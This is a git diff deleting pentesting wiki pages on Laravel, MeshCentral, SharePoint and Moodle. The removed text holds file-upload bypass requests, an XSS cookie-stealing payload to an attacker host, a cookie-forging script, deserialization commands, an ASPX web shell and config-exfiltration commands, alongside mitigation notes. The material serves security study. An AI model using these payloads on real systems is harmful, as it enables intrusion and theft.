-Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0 let crafted multipart requests completely skip any rule attached to `files.*` / `images.*`. The parser that expands wildcard keys could be confused with attacker-controlled placeholders (for example, pre-populating `__asterisk__` segments), so the framework would hydrate `UploadedFile` objects without ever running `image`, `mimes`, `dimensions`, `max`, etc. Once a malicious blob lands in `Storage::putFile*` you can pivot to any of the file-upload primitives already listed in HackTricks (web shells, log poisoning, signed job deserialization, …).
-
-### Hunting for the pattern
-
-* Static: `rg -n "files\\.\*" -g"*.php" app/` or inspect `FormRequest` classes for `rules()` returning arrays that contain `files.*`.
-* Dynamic: hook `Illuminate\Validation\Validator::validate()` via Xdebug or Laravel Telescope in pre-production to log every request that hits the vulnerable rule.
-* Middleware/route review: endpoints bundling multiple files (avatar importers, document portals, drag-n-drop components) tend to trust `files.*`.
-
-### Practical exploitation workflow
-
-1. Capture a legitimate upload and replay it in Burp Repeater.
-2. Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., `files[0][__asterisk__payload]`) or nest another array (`files[0][alt][0]`). On vulnerable builds, that second part never gets validated but still becomes an `UploadedFile` entry.
-3. Point the forged file to a PHP payload (`shell.php`, `.phar`, polyglot) and force the application to store it in a web-accessible disk (commonly `public/` once `php artisan storage:link` is enabled).
-
-```bash
-curl -sk https://target/upload \
-  -F 'files[0]=@ok.png;type=image/png' \
-  -F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-  -F 'description=lorem'
-```
-
-Keep fuzzing key names (`files.__dot__0`, `files[0][0]`, `files[0][uuid]` …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
-
----
-
-## Ecosystem package vulns worth chaining (2025)
-
-### CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects `auth0/laravel-auth0`)
-
-If the project uses **Auth0** login with the default CookieStore backend and `auth0/auth0-php` < **8.14.0**, the GCM tag on the `auth0` session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set `"sub":"auth0|admin"` and `app_metadata.roles`), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: `composer.lock` shows `auth0/auth0-php` <8.14.0 and `.env` has `AUTH0_SESSION_STORAGE=cookie`.
-
-### CVE-2025-48490 – `lomkit/laravel-rest-api` validation override
-
-The `lomkit/laravel-rest-api` package before **2.13.0** merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite `filter` rules during an `update` action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:
-
-* `composer.lock` lists `lomkit/laravel-rest-api` <2.13.0.
-* `/_rest/users?filters[0][column]=password&filters[0][operator]==` is accepted instead of rejected, showing filter validation was bypassed.
-
----
-
-## Laravel Tricks
-
-### Debugging mode
-
-If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
-For example `http://127.0.0.1:8000/profiles`:
-
-![Laravel Tricks - Debugging mode: For example http://127.0.0.1:8000/profiles](<../../images/image (1046).png>)
-
-This is usually needed for exploiting other Laravel RCE CVEs.
-
-#### CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages
-
-* Affected: Laravel 11.9.0–11.35.1 with `APP_DEBUG=true` (either globally or forced via misconfigured env overrides like CVE-2024-52301).
-* Primitive: every uncaught exception rendered by Whoops echoes parts of the request/route **without HTML encoding**, so injecting `<img src>` / `<script>` in a route or request parameter yields stored-on-response XSS before authentication.
-* Impact: steal `XSRF-TOKEN`, leak stack traces with secrets, open a browser-based pivot to hit `_ignition/execute-solution` in victim sessions, or chain with passwordless dashboards that rely on cookies.
-
-Minimal PoC:
-
-```php
-// blade/web.php (attacker-controlled param reflected)
-Route::get('/boom/{id}', function ($id) {
-    abort(500);
-});
-```
-
-```bash
-curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"
-```
-
-Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the `_ignition/health-check` endpoint often reveals staging hosts that still expose this chain.
-
-### Fingerprinting & exposed dev endpoints
-
-Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
-
-- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
-- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode.
-- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
-- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
-- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
-
-```bash
-# Nuclei quick probe
-nuclei -nt -u https://target -tags laravel -rl 30
-# Manual spot checks
-for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
-```
-
-### .env
-
-Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
-
-Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).
-
-Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:
-
-### Decrypt Cookie
-
-<details>
-<summary>Decrypt/encrypt cookies helper (Python)</summary>
-
-```python
-import os
-import json
-import hashlib
-import sys
-import hmac
-import base64
-import string
-import requests
-from Crypto.Cipher import AES
-from phpserialize import loads, dumps
-
-#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
-
-def mcrypt_decrypt(value, iv):
-    global key
-    AES.key_size = [len(key)]
-    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
-    return crypt_object.decrypt(value)
-
-
-def mcrypt_encrypt(value, iv):
-    global key
-    AES.key_size = [len(key)]
-    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
-    return crypt_object.encrypt(value)
-
-
-def decrypt(bstring):
-    global key
-    dic = json.loads(base64.b64decode(bstring).decode())
-    mac = dic['mac']
-    value = bytes(dic['value'], 'utf-8')
-    iv = bytes(dic['iv'], 'utf-8')
-    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
-        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
-        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
-    return ''
-
-
-def encrypt(string):
-    global key
-    iv = os.urandom(16)
-    #string = dumps(string)
-    padding = 16 - len(string) % 16
-    string += bytes(chr(padding) * padding, 'utf-8')
-    value = base64.b64encode(mcrypt_encrypt(string, iv))
-    iv = base64.b64encode(iv)
-    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
-    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
-    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
-
-app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
-key = base64.b64decode(app_key)
-decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
-#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
-encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
-```
-
-</details>
-
-### Laravel Deserialization RCE
-
-Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
-
-Here you can find information about the deserialization vulnerability here: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
-
-You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
-Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec`
-
-### CVE-2021-3129
-
-Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
-
-
-
-## References
-* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
-* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
-* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
-* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
-* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
-* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
-* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
-* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
-* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
-* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
-* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
-* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/meshcentral.md b/src/network-services-pentesting/pentesting-web/meshcentral.md
deleted file mode 100644
index df2b2102a1b..00000000000
--- a/src/network-services-pentesting/pentesting-web/meshcentral.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# MeshCentral
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-**MeshCentral** is a self-hosted remote monitoring / device management platform that mixes an **admin web UI** with **agent-facing WebSocket endpoints**. During a pentest, treat it as both a **web target** and an **RMM control plane**: a single browser-side bug in the dashboard can become **fleet-wide command execution** because the product already exposes legitimate remote execution features.
-
-Relevant endpoints from the public exploit chain:
-
-- Admin UI: `https://<target>/`
-- Agent channel: `wss://<target>/agent.ashx`
-- Admin control channel: `wss://<target>/control.ashx`
-
-If you identify MeshCentral, review the generic [XSS](../../pentesting-web/xss-cross-site-scripting/README.md) and [WebSocket Attacks](../../pentesting-web/websocket-attacks.md) pages, then test how **agent-controlled metadata** reaches the UI and how the UI talks to privileged WebSocket APIs.
-
-## High-value attack surface
-
-### 1. Agent-submitted metadata rendered in the admin UI
-
-Do not limit testing to normal dashboard users. MeshCentral agents submit host metadata that is later rendered to administrators, so fields such as **device name**, **OS description**, **volume labels**, **sensor names**, or similar agent-fed attributes should be treated as **stored XSS candidates**.
-
-In the published 2026 chain, a rogue/compromised agent injected HTML/JS into `osdesc` inside the `coreinfo` message. When an admin opened the device details panel, the payload executed in the admin origin.
-
-## Agent impersonation from a low-privileged host
-
-If you compromise a managed endpoint, check whether local users can read MeshCentral enrollment material. In the public advisory chain, **low-privileged Windows users** could read `MeshAgent.msh` and `MeshAgent.db`, which exposed enough data to impersonate the enrolled node:
-
-- Server URL / WebSocket endpoint
-- MeshID / ServerID / NodeID
-- Agent certificate and private key material
-
-Typical extraction flow:
-
-```bash
-uv run extract_agent_identity.py /path/to/MeshCentral/ -o client.json
-uv run rogue_agent.py -s mesh.lab.local --identity client.json
-```
-
-This is a useful pattern beyond MeshCentral: whenever an RMM/MDM agent stores **tenant identifiers**, **node identity**, or **client certificates/keys** in locally readable files, a local foothold may be enough to **re-register or impersonate** the device remotely.
-
-## MeshCentral agent authentication flow
-
-When emulating a MeshAgent, the public PoC used the following handshake against `/agent.ashx`:
-
-1. Connect and recover the TLS certificate hash.
-2. Send **Cmd 1** with a nonce and cert hash.
-3. Send **Cmd 4** to trust the server / skip its signature validation.
-4. Receive server **Cmd 1** nonce.
-5. Send **Cmd 2** with the agent certificate and **RSA-SHA384** signature.
-6. Send **Cmd 3** with agent info / metadata.
-7. Wait for **Cmd 4** to confirm authentication.
-
-Once authenticated, an attacker-controlled agent can update metadata fields that later reach the UI.
-
-## Stored XSS -> privileged WebSocket API abuse
-
-The important escalation is not the alert box. The key trick is that **same-origin JavaScript executing in the MeshCentral admin console can open the privileged WebSocket API with the victim admin session automatically attached by the browser**.
-
-Minimal browser primitive:
-
-```javascript
-const ws = new WebSocket(location.origin.replace(/^http/, 'ws') + '/control.ashx')
-```
-
-From there, the published chain waited for `serverinfo`, enumerated nodes, and then used the built-in remote execution action:
-
-```javascript
-ws.send(JSON.stringify({action:'nodes',responseid:'poc'}))
-ws.send(JSON.stringify({
-  action:'runcommands',
-  nodeids:[nodeId],
-  type:0,
-  cmds:'whoami > C:\pwned.txt',
-  runAsUser:0,
-  responseid:'rce-'+nodeId
-}))
-```
-
-Important fields:
-
-- `action:'nodes'`: enumerate devices visible to the admin session
-- `action:'runcommands'`: dispatch remote commands through the management plane
-- `type:0`: `cmd` / shell
-- `type:2`: PowerShell
-- `runAsUser:0`: request execution as **SYSTEM/root**
-
-This is the general RMM/MDM lesson: **stored XSS in a management console is often equivalent to authenticated API abuse and remote code execution** because the platform already exposes privileged operator actions.
-
-## Pentest checklist
-
-- Fingerprint MeshCentral and inspect both `/agent.ashx` and `/control.ashx` traffic.
-- Test whether **agent-controlled fields** are reflected in device details, sharing dialogs, file-browser metadata, or permission dialogs.
-- On a compromised endpoint, check ACLs on **`MeshAgent.msh`** and **`MeshAgent.db`**.
-- If the browser UI uses WebSockets, capture the JSON actions and replay them after achieving XSS.
-- Check whether remote execution features allow **SYSTEM/root** execution (`runAsUser:0`).
-- Review command history/logs for suspicious `runcommands`, broad node enumeration, or the same command sent to many devices.
-
-## Mitigation / detection notes
-
-- **Upgrade MeshCentral to 1.1.60 or later**. Publicly documented affected versions are **below 1.1.60**.
-- Defenders should review MeshCentral logs for:
-  - unexpected `runcommands`
-  - suspicious `runAsUser:0`
-  - one admin session enumerating many nodes immediately before command dispatch
-  - demo artifacts such as `whoami > C:\pwned.txt`
-
-## References
-
-- [MeshCentral: From Agent-Controlled Stored XSS to Fleet-Wide RCE](https://techanarchy.net/meshcentral-from-xss-to-rce)
-- [MeshCentral advisory GHSA-c7hr-448w-65px](https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px)
-- [MeshCentral RogueAgent PoC](https://github.com/kevthehermit/MeshCentral-RogueAgent)
-- [MeshCentral fix PR #7823](https://github.com/Ylianst/MeshCentral/pull/7823)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md
deleted file mode 100644
index 1fb9ee8e6ab..00000000000
--- a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md
+++ /dev/null
@@ -1,201 +0,0 @@
-# Microsoft SharePoint – Pentesting & Exploitation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-> Microsoft SharePoint (on-premises) is built on top of ASP.NET/IIS.  Most of the classic web attack surface (ViewState, Web.Config, web shells, etc.) is therefore present, but SharePoint also ships with hundreds of proprietary ASPX pages and web services that dramatically enlarge the exposed attack surface.  This page collects practical tricks to enumerate, exploit and persist inside SharePoint environments with emphasis on the 2025 exploit chain disclosed by Unit42 (CVE-2025-49704/49706/53770/53771).
-
-## 1. Quick enumeration
-
-```
-# favicon hash and keywords
-curl -s https://<host>/_layouts/15/images/SharePointHome.png
-curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI
-
-# version leakage (often in JS)
-curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
-
-# interesting standard paths
-/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
-/_vti_bin/Lists.asmx                     # legacy SOAP service
-/_catalogs/masterpage/Forms/AllItems.aspx
-
-# enumerate sites & site-collections (requires at least Anonymous)
-python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
-```
-
-## 2. 2025 exploit chain (a.k.a. “ToolShell”)
-
-### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
-
-`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET.  An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState.
-
-### 2.2 CVE-2025-49706 – Improper Authentication Bypass
-
-The same page trusts the **X-Forms_BaseUrl** header to determine the site context.  By pointing it to `/_layouts/15/`,  MFA/SSO enforced at the root site can be bypassed **unauthenticated**.
-
-### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
-
-Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution.
-
-If signing is enabled, steal the **ValidationKey/DecryptionKey** from any `web.config` (see 2.4) and forge the payload with *ysoserial.net* or *ysodom*:
-
-```
-ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
-    ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
-```
-
-For an in-depth explanation on abusing ASP.NET ViewState read:
-
-{{#ref}}
-../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
-{{#endref}}
-
-### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
-
-Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of:
-
-* `<machineKey validationKey="…" decryptionKey="…">`  ➜ forge ViewState / ASPXAUTH cookies
-* connection strings & secrets.
-
-### 2.5 ToolShell workflow observed in Ink Dragon intrusions
-
-Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:
-
-* **Header spoofing for auth bypass** – the actor sends POSTs to `/_layouts/15/ToolPane.aspx` with `Referer: https://<victim>/_layouts/15/` plus a fake `X-Forms_BaseUrl`. Those headers convince SharePoint that the request originates from a trusted layout and completely skip front-door authentication (CVE-2025-49706/CVE-2025-53771).
-* **Serialized gadget in the same request** – the body includes attacker-controlled ViewState/ToolPart data that reaches the vulnerable server-side formatter (CVE-2025-49704/CVE-2025-53770). The payload is usually a ysoserial.net chain that runs inside `w3wp.exe` without ever touching disk.
-* **Internet-scale scanning** – telemetry from July 2025 shows them enumerating every reachable `/_layouts/15/ToolPane.aspx` endpoint and replaying a dictionary of leaked `<machineKey>` pairs. Any site that copied a sample `validationKey` from documentation can be compromised even if it is otherwise fully patched (see the ViewState page for the signing workflow).
-* **Immediate staging** – successful exploitation drops a loader or PowerShell stager that: (1) dumps every `web.config`, (2) plants an ASPX webshell for contingency access, and (3) schedules a local Potato privesc to escape the IIS worker.
-
-## 3. Post-exploitation recipes observed in the wild
-
-### 3.1 Exfiltrate every *.config* file (variation-1)
-
-```
-cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
-```
-
-The resulting `debug_dev.js` can be downloaded anonymously and contains **all** sensitive configuration.
-
-### 3.2 Deploy a Base64-encoded ASPX web shell (variation-2)
-
-```
-powershell.exe -EncodedCommand <base64>
-```
-
-Decoded payload example (shortened):
-
-```csharp
-<%@ Page Language="C#" %>
-<%@ Import Namespace="System.Security.Cryptography" %>
-<script runat="server">
-    protected void Page_Load(object sender, EventArgs e){
-        Response.Write(MachineKey.ValidationKey);
-        // echo secrets or invoke cmd
-    }
-</script>
-```
-Written to:
-
-```
-C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
-```
-
-The shell exposes endpoints to **read / rotate machine keys** which allows forging ViewState and ASPXAUTH cookies across the farm.
-
-### 3.3 Obfuscated variant (variation-3)
-
-Same shell but:
-* dropped under `...\15\TEMPLATE\LAYOUTS\`
-* variable names reduced to single letters
-* `Thread.Sleep(<ms>)` added for sandbox-evasion & timing-based AV bypass.
-
-### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
-
-Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain **after initial RCE** to deploy a dual-channel C2 implant and ransomware in SharePoint environments:
-
-#### AK47C2 – `dnsclient` variant
-
-* Hard-coded DNS server: `10.7.66.10` communicating with authoritative domain `update.updatemicfosoft.com`.
-* Messages are JSON objects XOR-encrypted with the static key `VHBD@H`, hex-encoded and embedded as **sub-domain labels**.
-
-  ```json
-  {"cmd":"<COMMAND>","cmd_id":"<ID>"}
-  ```
-
-* Long queries are chunked and prefixed with `s`, then re-assembled server-side.
-* Server replies in TXT records carrying the same XOR/hex scheme:
-
-  ```json
-  {"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
-  ```
-* Version 202504 introduced a simplified format `<COMMAND>::<SESSION_KEY>` and chunk markers `1`, `2`, `a`.
-
-#### AK47C2 – `httpclient` variant
-
-* Re-uses the exact JSON & XOR routine but sends the hex blob in the **HTTP POST body** via `libcurl` (`CURLOPT_POSTFIELDS`, etc.).
-* Same task/result workflow allowing:
-  * Arbitrary shell command execution.
-  * Dynamic sleep interval and kill-switch instructions.
-
-#### X2ANYLOCK ransomware
-
-* 64-bit C++ payload loaded through DLL side-loading (see below).
-* Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension `.x2anylock`.
-* Recursively encrypts local drives and discovered SMB shares; skips system paths.
-* Drops clear-text note `How to decrypt my data.txt` embedding a static **Tox ID** for negotiations.
-* Contains an internal **kill-switch**:
-
-  ```c
-  if (file_mod_time >= "2026-06-06") exit(0);
-  ```
-
-#### DLL side-loading chain
-
-1. Attacker writes `dllhijacked.dll`/`My7zdllhijacked.dll` next to a legitimate `7z.exe`.
-2. SharePoint-spawned `w3wp.exe` launches `7z.exe`, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory.
-3. A separate LockBit loader observed (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) decrypts shell-code and performs **DLL hollowing** into `d3dl1.dll` to run LockBit 3.0.
-
-> [!INFO]
-> The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.
-
-### 3.5 Turning SharePoint loot into lateral movement
-
-* **Decrypt every protected section** – once seated on the web tier, abuse `aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri` (or `-px "appSettings"`) to dump the clear-text secrets hiding behind `<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">`. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.
-* **Recycle app-pool accounts across farms** – many enterprises reuse the same domain account for `IIS APPPOOL\SharePoint` on every front-end. After decrypting `identity impersonate="..."` blocks or reading `ApplicationHost.config`, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing `psexec`, `sc create`, or scheduled-task staging without triggering password sprays.
-* **Abuse leaked `<machineKey>` values internally** – even if the internet perimeter gets patched, reusing the same `validationKey`/`decryptionKey` allows lateral ViewState exploitation between internal SharePoint zones that trust each other.
-
-### 3.6 Persistence patterns witnessed in 2025 intrusions
-
-* **Scheduled tasks** – a one-shot task named `SYSCHECK` (or other health-themed names) is created with `/ru SYSTEM /sc once /st <hh:mm>` to bootstrap the next-stage loader (commonly a renamed `conhost.exe`). Because it is run-once, telemetry often misses it unless historic task XML is preserved.
-* **Masqueraded services** – services such as `WindowsTempUpdate`, `WaaSMaintainer`, or `MicrosoftTelemetryHost` are installed via `sc create` pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the `OriginalFileName` PE field is a quick integrity check.
-
-### 3.7 Host firewall downgrades for relay traffic
-
-Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:
-
-```cmd
-netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
-```
-
-Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as `program=`, most SOC baselines ignore it, yet it opens **Any ➜ Any** egress.
-
----
-
-## Related tricks
-
-* IIS post-exploitation & web.config abuse:  
-
-{{#ref}}
-../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
-{{#endref}}
-
-## References
-
-- [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
-- [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell)
-- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
-- [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
-- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
-- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md
deleted file mode 100644
index c1b9005a6b3..00000000000
--- a/src/network-services-pentesting/pentesting-web/moodle.md
+++ /dev/null
@@ -1,181 +0,0 @@
-# Moodle
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Automatic Scans
-
-### droopescan
-
-```bash
-pip3 install droopescan
-droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
-
-[+] Plugins found:
-    forum http://moodle.schooled.htb/moodle/mod/forum/
-        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
-        http://moodle.schooled.htb/moodle/mod/forum/version.php
-
-[+] No themes found.
-
-[+] Possible version(s):
-    3.10.0-beta
-
-[+] Possible interesting urls found:
-Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
-Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
-
-[+] Scan finished (0:00:05.643539 elapsed)
-```
-
-### moodlescan
-
-```bash
-# Install from https://github.com/inc0d3/moodlescan
-python3 moodlescan.py -a                    # Refresh vuln/version DB first
-python3 moodlescan.py -k -r -u http://moodle.example.com/<moodle_path>/
-
-Version 0.8 - May/2021
-.............................................................................................................
-
-By Victor Herrera - supported by www.incode.cl
-
-.............................................................................................................
-
-Getting server information http://moodle.schooled.htb/moodle/ ...
-
-server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
-x-powered-by   	: PHP/7.4.15
-x-frame-options	: sameorigin
-last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT
-
-Getting moodle version...
-
-Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
-
-Searching vulnerabilities...
-
-Vulnerabilities found: 0
-
-Scan completed.
-```
-
-### badmoodle
-
-```bash
-git clone https://github.com/cyberaz0r/badmoodle
